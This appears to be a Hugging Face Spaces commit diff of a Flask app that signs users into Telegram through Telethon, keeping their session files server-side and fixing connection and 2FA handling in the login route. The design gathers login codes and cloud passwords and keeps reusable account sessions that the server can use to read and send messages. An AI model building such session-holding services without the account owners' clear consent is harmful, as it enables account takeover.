Spaces:
Paused
Paused
Update app.py
Browse files
app.py
CHANGED
|
@@ -1,4 +1,3 @@
|
|
| 1 |
-
|
| 2 |
from flask import Flask, request, jsonify, render_template_string, send_from_directory
|
| 3 |
from telethon.sync import TelegramClient
|
| 4 |
from telethon import events
|
|
@@ -115,10 +114,7 @@ HTML_TEMPLATE = '''
|
|
| 115 |
const result = await response.json();
|
| 116 |
alert(result.message);
|
| 117 |
if (result.success) {
|
| 118 |
-
|
| 119 |
-
document.getElementById('submitPassword').style.display = 'inline';
|
| 120 |
-
document.getElementById('submitCode').style.display = 'none';
|
| 121 |
-
document.getElementById('code').style.display = 'none';
|
| 122 |
} else if (result.password_required) {
|
| 123 |
document.getElementById('password').style.display = 'inline';
|
| 124 |
document.getElementById('submitPassword').style.display = 'inline';
|
|
@@ -177,35 +173,36 @@ def login():
|
|
| 177 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 178 |
try:
|
| 179 |
if step == 'start':
|
|
|
|
| 180 |
client.send_code_request(phone)
|
| 181 |
return jsonify({'success': True, 'message': 'Code sent to your Telegram'})
|
| 182 |
elif step == 'code':
|
| 183 |
-
client.
|
| 184 |
-
client.sign_in(phone, code)
|
| 185 |
-
me = client.get_me()
|
| 186 |
with sqlite3.connect(DB_PATH) as conn:
|
| 187 |
c = conn.cursor()
|
| 188 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 189 |
(str(me.id), me.username or '', phone, session_file))
|
| 190 |
conn.commit()
|
| 191 |
-
client.disconnect()
|
| 192 |
return jsonify({'success': True, 'message': 'Logged in successfully'})
|
| 193 |
elif step == 'password':
|
| 194 |
-
client.
|
| 195 |
-
me = client.
|
| 196 |
with sqlite3.connect(DB_PATH) as conn:
|
| 197 |
c = conn.cursor()
|
| 198 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 199 |
(str(me.id), me.username or '', phone, session_file))
|
| 200 |
conn.commit()
|
| 201 |
-
client.disconnect()
|
| 202 |
return jsonify({'success': True, 'message': 'Logged in with cloud password'})
|
|
|
|
|
|
|
| 203 |
except Exception as e:
|
| 204 |
-
if 'session password' in str(e):
|
| 205 |
return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'})
|
| 206 |
return jsonify({'success': False, 'message': str(e)})
|
| 207 |
finally:
|
| 208 |
-
client.
|
|
|
|
| 209 |
|
| 210 |
@app.route('/user/<int:user_id>/messages')
|
| 211 |
def get_messages(user_id):
|
|
@@ -294,4 +291,4 @@ def send_message(user_id):
|
|
| 294 |
|
| 295 |
if __name__ == '__main__':
|
| 296 |
init_db()
|
| 297 |
-
app.run(host=HOST, port=PORT)
|
|
|
|
|
|
|
| 1 |
from flask import Flask, request, jsonify, render_template_string, send_from_directory
|
| 2 |
from telethon.sync import TelegramClient
|
| 3 |
from telethon import events
|
|
|
|
| 114 |
const result = await response.json();
|
| 115 |
alert(result.message);
|
| 116 |
if (result.success) {
|
| 117 |
+
location.reload();
|
|
|
|
|
|
|
|
|
|
| 118 |
} else if (result.password_required) {
|
| 119 |
document.getElementById('password').style.display = 'inline';
|
| 120 |
document.getElementById('submitPassword').style.display = 'inline';
|
|
|
|
| 173 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 174 |
try:
|
| 175 |
if step == 'start':
|
| 176 |
+
client.connect()
|
| 177 |
client.send_code_request(phone)
|
| 178 |
return jsonify({'success': True, 'message': 'Code sent to your Telegram'})
|
| 179 |
elif step == 'code':
|
| 180 |
+
client.connect()
|
| 181 |
+
me = client.sign_in(phone, code)
|
|
|
|
| 182 |
with sqlite3.connect(DB_PATH) as conn:
|
| 183 |
c = conn.cursor()
|
| 184 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 185 |
(str(me.id), me.username or '', phone, session_file))
|
| 186 |
conn.commit()
|
|
|
|
| 187 |
return jsonify({'success': True, 'message': 'Logged in successfully'})
|
| 188 |
elif step == 'password':
|
| 189 |
+
client.connect()
|
| 190 |
+
me = client.sign_in(password=password)
|
| 191 |
with sqlite3.connect(DB_PATH) as conn:
|
| 192 |
c = conn.cursor()
|
| 193 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 194 |
(str(me.id), me.username or '', phone, session_file))
|
| 195 |
conn.commit()
|
|
|
|
| 196 |
return jsonify({'success': True, 'message': 'Logged in with cloud password'})
|
| 197 |
+
else:
|
| 198 |
+
return jsonify({'success': False, 'message': 'Invalid step'})
|
| 199 |
except Exception as e:
|
| 200 |
+
if 'session password' in str(e).lower() or '2fa' in str(e).lower():
|
| 201 |
return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'})
|
| 202 |
return jsonify({'success': False, 'message': str(e)})
|
| 203 |
finally:
|
| 204 |
+
if client.is_connected():
|
| 205 |
+
client.disconnect()
|
| 206 |
|
| 207 |
@app.route('/user/<int:user_id>/messages')
|
| 208 |
def get_messages(user_id):
|
|
|
|
| 291 |
|
| 292 |
if __name__ == '__main__':
|
| 293 |
init_db()
|
| 294 |
+
app.run(host=HOST, port=PORT)
|